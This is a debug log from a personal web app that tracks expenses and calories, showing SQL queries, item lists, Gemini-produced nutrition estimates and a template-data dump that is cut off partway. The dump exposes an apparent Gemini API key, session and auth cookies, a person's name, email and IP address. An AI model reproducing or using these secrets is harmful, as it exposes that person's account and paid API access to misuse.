2025-12-16T05:17:13.218Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-16T05:17:13.219Z server-connect:app Executing action step identify
2025-12-16T05:17:13.219Z server-connect:app options: { provider: 'security' }
2025-12-16T05:17:13.219Z server-connect:output identity: 1
2025-12-16T05:17:13.219Z server-connect:app Executing action step restrict
2025-12-16T05:17:13.219Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T05:17:13.219Z server-connect:output restrict: undefined
2025-12-16T05:17:13.219Z server-connect:app Executing action step select
2025-12-16T05:17:13.219Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-16T05:17:13.220Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-16T05:17:13.220Z server-connect:app Executing action step select
2025-12-16T05:17:13.220Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-16T05:17:13.221Z server-connect:output restrict: undefined
2025-12-16T05:17:13.221Z server-connect:app Executing action step single
2025-12-16T05:17:13.221Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-16T05:17:13.221Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-16T05:17:13.222Z server-connect:output item_list: [
  {
    id: 402,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: "Milk Tea (without sugar, assuming full-fat cow's milk)",
    calories: 48,
    protein_gm: 3,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: 'Half cup (approx 120ml total beverage)',
    replacements: 'Black tea (no milk),Green tea (no milk),Tea with skim milk or unsweetened plant-based milk (almond, soy),Tea with less milk',
    created_at: '2025-12-15T21:00:48.000Z',
    skip_level: 1,
    skip_reason: 'This item provides some protein and calcium from the milk, which are beneficial for muscle development and bone health. By being sugar-free, it avoids empty calories. The moderate fat content from half a cup of full-fat milk is acceptable for an active individual focused on muscle development.'
  },
  {
    id: 403,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Idli (light fried)',
    calories: 290,
    protein_gm: 7,
    carbs_gm: 52,
    fat_gm: 8,
    quantity: '4 pieces (approx 200g idli + 6.75g oil)',
    replacements: 'Steamed Idli (no oil),Idli made with very minimal oil spray on a non-stick pan,Idli with a higher proportion of urad dal (lentils) for increased protein content',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 2,
    skip_reason: "While Idli is a good carbohydrate source providing energy for your gym sessions, 'light fried' adds extra fats and calories from the oil. For lean muscle development, it's generally better to consume steamed versions to control fat intake, especially when managing overall calorie intake with a desk job lifestyle."
  },
  {
    id: 404,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Ketchup',
    calories: 12,
    protein_gm: 0,
    carbs_gm: 3,
    fat_gm: 0,
    quantity: '1 sachet (approx 12g)',
    replacements: 'Sugar-free ketchup,Homemade fresh tomato salsa or chutney (with minimal added sugar and oil),Herbal chutneys (e.g., mint, coriander) without added sugar',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 3,
    skip_reason: 'Ketchup is typically high in added sugars and provides minimal to no nutritional value (empty calories). Consuming empty calories from added sugars is counterproductive to muscle development goals and overall health, especially when aiming for a lean physique.'
  }
]
2025-12-16T05:17:13.222Z server-connect:app Executing action step setvalue
2025-12-16T05:17:13.222Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-16T05:17:13.222Z server-connect:output var_total: 350
2025-12-16T05:17:13.223Z server-connect:app Executing action step setvalue
2025-12-16T05:17:13.223Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-16T05:17:13.223Z server-connect:output var_consumed: 15
2025-12-16T05:17:13.223Z server-connect:app Executing action step setvalue
2025-12-16T05:17:13.223Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-16T05:17:13.223Z server-connect:output var_deficit: 2050
2025-12-16T05:17:13.223Z server-connect:app Executing action step custom
2025-12-16T05:17:13.223Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-16T05:17:13.223Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-16T05:17:13.224Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '350',
    surplus_or_deficit: '2050',
    status_flag: 2
  }
]
2025-12-16T05:30:07.675Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-16T05:30:07.675Z server-connect:app Executing action step identify
2025-12-16T05:30:07.675Z server-connect:app options: { provider: 'security' }
2025-12-16T05:30:07.676Z server-connect:output identity: 1
2025-12-16T05:30:07.676Z server-connect:app Executing action step restrict
2025-12-16T05:30:07.676Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T05:30:07.677Z server-connect:output restrict: undefined
2025-12-16T05:30:07.677Z server-connect:app Executing action step processWithGemini
2025-12-16T05:30:07.677Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-16T05:30:21.202Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Green Tea (unsweetened)',
      quantity: '1 cup (approx 240ml)',
      total_calories: 2,
      protein: 0,
      carbs: 0,
      fat: 0,
      lower_calorie_alternatives: [],
      skip_level: 1,
      skip_reason: 'Rich in antioxidants, helps with metabolism, and is virtually calorie-free. Excellent for overall health, hydration, and can support a muscle development goal by providing health benefits without unwanted calories.'
    },
    {
      food_name: 'Milk Sugar Tea',
      quantity: '1 small cup (approx 120ml liquid, assuming ~60ml whole cow milk, ~50ml water, 1.5 tsp sugar)',
      total_calories: 74,
      protein: 2,
      carbs: 11.8,
      fat: 2.1,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: 'The added sugar provides empty calories, which can hinder fat loss and muscle definition goals. While milk provides some protein (2g) and calcium, for a muscle development goal with 5 gym sessions, caloric efficiency and nutrient density are crucial. Reducing or eliminating sugar would make this a much better option. Consuming this occasionally is acceptable, but daily intake is good to skip or modify.'
    }
  ],
  total_macros: {
    calories: 76,
    protein: { value: 2, unit: 'g' },
    carbs: { value: 11.8, unit: 'g' },
    fat: { value: 2.1, unit: 'g' }
  }
}
2025-12-16T05:30:29.093Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-16T05:30:29.093Z server-connect:app Executing action step identify
2025-12-16T05:30:29.093Z server-connect:app options: { provider: 'security' }
2025-12-16T05:30:29.093Z server-connect:output identity: 1
2025-12-16T05:30:29.093Z server-connect:app Executing action step restrict
2025-12-16T05:30:29.093Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T05:30:29.094Z server-connect:output restrict: undefined
2025-12-16T05:30:29.094Z server-connect:app Executing action step processWithGemini
2025-12-16T05:30:29.094Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-16T05:30:46.602Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Green Tea',
      quantity: '1 cup (240ml)',
      total_calories: 0,
      protein: 0,
      carbs: 0,
      fat: 0,
      lower_calorie_alternatives: [],
      skip_level: 1,
      skip_reason: 'Green tea is rich in antioxidants, boosts metabolism, and is virtually calorie-free, making it an excellent choice for health and fitness goals.'
    },
    {
      food_name: 'Milk Sugar Coffee',
      quantity: '1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar)',
      total_calories: 132,
      protein: 4,
      carbs: 23.8,
      fat: 1.8,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: 'The significant amount of added sugar (18g) contributes empty calories, which are not optimal for muscle development and can hinder fat loss. While toned milk provides some protein, the overall calorie profile is not as nutrient-dense as other options. For muscle development, calories are best sourced from lean protein and complex carbohydrates.'
    }
  ],
  total_calories_all_items: 132,
  total_protein_all_items: 4,
  total_carbs_all_items: 23.8,
  total_fat_all_items: 1.8,
  unit_of_macros: 'g'
}
2025-12-16T05:30:53.411Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-16T05:30:53.411Z server-connect:app Executing action step identify
2025-12-16T05:30:53.411Z server-connect:app options: { provider: 'security' }
2025-12-16T05:30:53.411Z server-connect:output identity: 1
2025-12-16T05:30:53.411Z server-connect:app Executing action step restrict
2025-12-16T05:30:53.411Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T05:30:53.412Z server-connect:output restrict: undefined
2025-12-16T05:30:53.412Z server-connect:app Executing action step condition
2025-12-16T05:30:53.412Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-16T05:30:53.412Z server-connect:app Executing action step repeat
2025-12-16T05:30:53.412Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-16T05:30:53.412Z server-connect:app Executing action step insert
2025-12-16T05:30:53.413Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-16T05:30:53.414Z server-connect:output calories: { affected: 1, identity: 405 }
2025-12-16T05:30:53.414Z server-connect:app Executing action step insert
2025-12-16T05:30:53.414Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-16T05:30:53.415Z server-connect:output calories: { affected: 1, identity: 406 }
2025-12-16T05:30:53.415Z server-connect:output repeat: [ {}, {} ]
2025-12-16T05:30:53.415Z server-connect:output condition: undefined
2025-12-16T05:30:53.622Z server-connect:router Serving templateView /calorie-tracker
2025-12-16T05:30:53.622Z server-connect:app Executing action step identify
2025-12-16T05:30:53.622Z server-connect:app options: { provider: 'security' }
2025-12-16T05:30:53.622Z server-connect:output identity: 1
2025-12-16T05:30:53.622Z server-connect:app Executing action step restrict
2025-12-16T05:30:53.622Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T05:30:53.622Z server-connect:output restrict: undefined
2025-12-16T05:30:53.623Z server-connect:router Render template layouts/main
2025-12-16T05:30:53.623Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"12e89-SduvY0PXqQWXGwFWteY9dYGdlRs"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T03:43:59.997Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"12e89-SduvY0PXqQWXGwFWteY9dYGdlRs"',
    HTTP_PRIORITY: 'u=0, i',
